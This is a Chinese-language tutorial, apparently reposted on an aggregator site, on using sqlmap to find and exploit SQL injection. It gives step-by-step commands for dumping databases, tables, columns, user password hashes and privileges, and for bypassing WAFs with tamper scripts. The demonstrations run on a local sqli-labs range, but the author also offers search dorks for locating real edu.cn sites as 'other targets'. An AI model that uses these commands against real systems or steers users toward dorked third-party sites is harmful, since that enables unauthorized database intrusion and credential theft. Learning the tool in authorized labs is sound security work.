SQLmap使用教程图文教程(超详细)

这篇具有很好参考价值的文章主要介绍了SQLmap使用教程图文教程(超详细)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「推荐专栏」:对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap

打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

本篇文章使用本地搭建的SQL-labs靶场作为「演示」目标,其他目标可使用必应搜索以下类型的网站:

inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

快速入门;SQLmap(常规)使用步骤

1、检测「注入点」

sqlmap -u 'http://xx/?id=1'

2、查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

4、查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

5、查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

一、目标

检测「注入点」前,需要指定需要检测的「对象」

1、指定url

-u 参数,指定需要检测的url,单/双引号包裹。中间如果有提示,就输入y。

提示:SQLmap不能直接「扫描」网站漏洞,先用其他扫描工具扫出注入点,再用SQLmap验证并「利用」注入点。

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1'

扫描完成后,告诉我们存在的注入类型和使用的数据库及版本。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

2、指定文件(批量检测)

准备一个「文件」,写上需要检测的多个url,一行一个。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

-m 指定文件,可以「批量扫描」文件中的url。

sqlmap -m urls.txt

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

逐个扫描url,需要确认就按y。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

扫描完一个,就会提示存在的注入点。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

然后再按y扫描下一个url。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

3、指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

4、post请求

检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。

-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。

sqlmap -r bp.txt

5、cookie注入

--cookie 指定cookie的值,单/双引号包裹。

sqlmap -u "http://xx?id=x" --cookie 'cookie'

二、脱库

获取所有内容

sqlmap -u 'http://xx/?id=1' -a

-a 就是 all 的意思,获取所有能获取的内容,会消耗很长时间。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

1、获取数据库

--dbs 获取数据库

1.1、获取数据库版本

sqlmap -u 'http://xx/?id=1' -b

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

最后面显示数据库的版本,这里检测的版本是 5.7.26。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

1.2、获取当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

在最后面显示当前使用的数据库的名字是 security。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

1.3、获取所有数据库

sqlmap -u 'http://xx/?id=1' --dbs

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

最后面显示所有数据库的名字。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

2、获取表

--tables 获取表

2.1、获取表,可以指定数据库

sqlmap -u 'http://xx/?id=1' -D 'security' --tables

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

最后面显示数据库(security)里所有的表名。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

2.2、同时获取多个库的表名,库名用逗号分隔。

sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

2.3、不指定数据库,默认获取数据库中所有的表。

sqlmap -u 'http://xx/?id=1' --tables

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai
最后面显示每个数据库下都有哪些表。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai


3、获取字段

--columns 参数用来获取字段。

3.1、获取字段,可以指定库和表

提示:只指定库名但不指定表名会报错。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

最后面显示表(users)中的所有字段。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

3.2、不指定表名,默认获取当前数据库中所有表的字段。

sqlmap -u 'http://xx/?id=1' --columns

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

4、获取字段类型

--schema 获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。

sqlmap -u 'http://xx/?id=1' -D 'security' --schema

最后面显示每个表的字段类型。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

5、获取值(数据)

--dump 获取值,也就是表中的数据。可以指定具体的库、表、字段。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai
获取指定库中所有表的数据。

sqlmap -u 'http://xx/?id=1' -D 'security' --dump

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

默认获取表中的所有数据,可以使用 --start --stop 指定开始和结束的行,只获取一部分数据。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5  --dump

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai


6、获取用户

6.1、获取当前登录数据库的用户

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

最后面显示当前登录数据库的用户是 root@localhost。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

6.2、获取所有用户

--users 获取数据库的所有用户名。

sqlmap -u 'http://xx/?id=1' --users

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

最后面显示数据库的所有用户名。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

6.3、获取用户密码

--passwords 获取所有数据库用户的密码(哈希值)。

数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

最后面显示数据库用户名对应的密码(哈希值)。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

6.4、获取用户权限

--privileges 查看每个数据库用户都有哪些权限。

sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

6.5、判断当前用户是不是管理员

--is-dba 判断当前登录的用户是不是数据库的管理员账号。

sqlmap -u 'http://xx/?id=1' --is-dba

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

如果是管理员,就在最后面显示 true。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai


7、获取主机名

--hostname 获取服务器主机名。

sqlmap -u 'http://xx/?id=1' --hostname

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

最后面显示服务器的主机名是 DESKTOP。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai


8、搜索库、表、字段。

--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。

搜索数据库中有没有 security 这个数据库:

sqlmap -u 'http://xx/?id=1' -D 'security' --search

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

也可以搜索表

sqlmap -u 'http://xxx/?id=1' -T 'users' --search

或者搜索字段

sqlmap -u 'http://xx/?id=1' -C 'username' --search

9、正在执行的SQL语句

--statements 获取数据库中正在执行的SQL语句。

sqlmap -u 'http://xx/?id=1' --statements

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

最后面显示正在执行的SQL语句。

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

三、WAF绕过

--tamper 指定绕过脚本,绕过WAF或ids等。

sqlmap -u 'http://xx/?id=1' --tamper 'space2comment.py'

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

SQLmap内置了很多绕过脚本,在 /usr/share/sqlmap/tamper/ 目录下:

sqlmap教程,《网络安全快速入门》,网络安全,人工智能,ai

脚本按照用途命名,比如 space2comment.py 是指,用/**/代替空格。

当然,你也可以根据内置脚本格式,自己定义绕过脚本。


三、其他

--batch (默认确认)不再询问是否确认。

--method=GET 指定请求方式(GET/POST)

--random-agent 随机切换UA(User-Agent)

--user-agent ' ' 使用自定义的UA(User-Agent)

--referer ' ' 使用自定义的 referer

--proxy="127.0.0.1:8080" 指定代理

--threads 10 设置线程数,最高10

--level=1 执行测试的等级(1-5,默认为1,常用3)

--risk=1 风险级别(0~3,默认1,常用1),级别提高会增加数据被篡改的风险。文章来源地址https://www.toymoban.com/news/detail-559791.html


到了这里,关于SQLmap使用教程图文教程(超详细)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • 黑客工具之sqlmap安装教程,超详细使用教程(附工具安装包)

    黑客工具之sqlmap安装教程,超详细使用教程(附工具安装包)

    一、sqlmap简介 sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。 sqlmap支持五种不同的注入模式: 基于布尔的盲注,即可以根据返回页面判断条件真假的注入 基于时间的盲注,即不能根据页面返回内容

    2023年04月10日
    浏览(10)
  • 详细安装sqlmap详细教程

    详细安装sqlmap详细教程

    因为sqlmap是用python语言编写所以我们在使用sqlmap之前要先安装python环境 python下载地址:Download Python | Python.org 选择适合自己操作系统的版本 下载成功后双击exe文件自动安装 点击安装后会出现安装进度条 待安装完毕,会出现以下界面,代表你安装成功了。 win+r 输入cmd后回车打

    2024年01月19日
    浏览(7)
  • sqlmap安装详细教程

    sqlmap安装详细教程

    sqlmap是一款自动化的SQL注入工具,其功能为扫描、发现和利用输入URL的SQL注入漏洞,并且内置了许多绕过的插件,支持的数据库也非常多:MySQL、SQLServer、Oracle,Access等等 由于sqlmap依赖于Python的环境运行,所以你事先需要安装好Python环境,如果未安装可以先观看我的另一篇文

    2024年02月13日
    浏览(7)
  • sqlmap详细教程

    我最近在学习 sqlmap , 我学完之后之后,觉得还是把这些都写清楚,方便 SQL map 的初学者。 Sqlmap是最流行和最强大的SQL注入自动化工具之一。给定易受攻击的http请求url,sqlmap可以利用远程数据库并进行大量黑客攻击,例如提取数据库名称,表,列,表中的所有数据等。 在某

    2024年02月05日
    浏览(10)
  • 【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了

    【2023最新版】超详细Sqlmap安装保姆级教程,SQL注入使用指南,收藏这一篇就够了

    一、sqlmap简介 sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等 Sqlmap采用了以下5种独特的SQL注入技术 基于布尔类型的盲注,即可以根据

    2024年02月10日
    浏览(16)
  • SQLMAP工具 详细使用方法

    SQLMAP工具 详细使用方法

    官方网址 GitHub地址 使用手册 SQLMAP 是一个开源的渗透测试工具,可以用来自动化的检测,利用 SQL 注入漏 洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据 库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可

    2024年02月11日
    浏览(12)
  • sqlmap使用教程

    目录 sqlmap基础使用 1、判断是否存在注入 2、判断文本中的请求是否存在注入 3、查询当前用户下的所有数据库 4、获取数据库中的表名 5、获取表中的字段名 6、获取字段内容 7、获取数据库所有用户 8、获取数据库用户的密码 9、获取当前网站数据库的名称 10、获取当前网站数

    2024年02月15日
    浏览(13)
  • 超详细SQLMap使用攻略及技巧分享

    超详细SQLMap使用攻略及技巧分享

    sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操

    2024年02月08日
    浏览(12)
  • sqlmap的安装及使用教程

    sqlmap 是一个开源渗透测试工具,可自动检测和利用 SQL 注入缺陷并接管数据库服务器,支持多种数据库和多种注入技术。 sqlmap是基于python环境的,因此安装前需要安装python环境。 sqlmap不支持python3及以上,推荐使用python2.7 !! 更新:目前sqlmap已支持python3.x版本,如已安装3

    2024年02月15日
    浏览(9)
  • kali linux下sqlmap使用教程

    kali linux下sqlmap使用教程

    有windows和linux两个版本使用,可跨系统进行操作,语法参数都相同,此处以kali linux为例进行操作

    2024年02月11日
    浏览(6)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包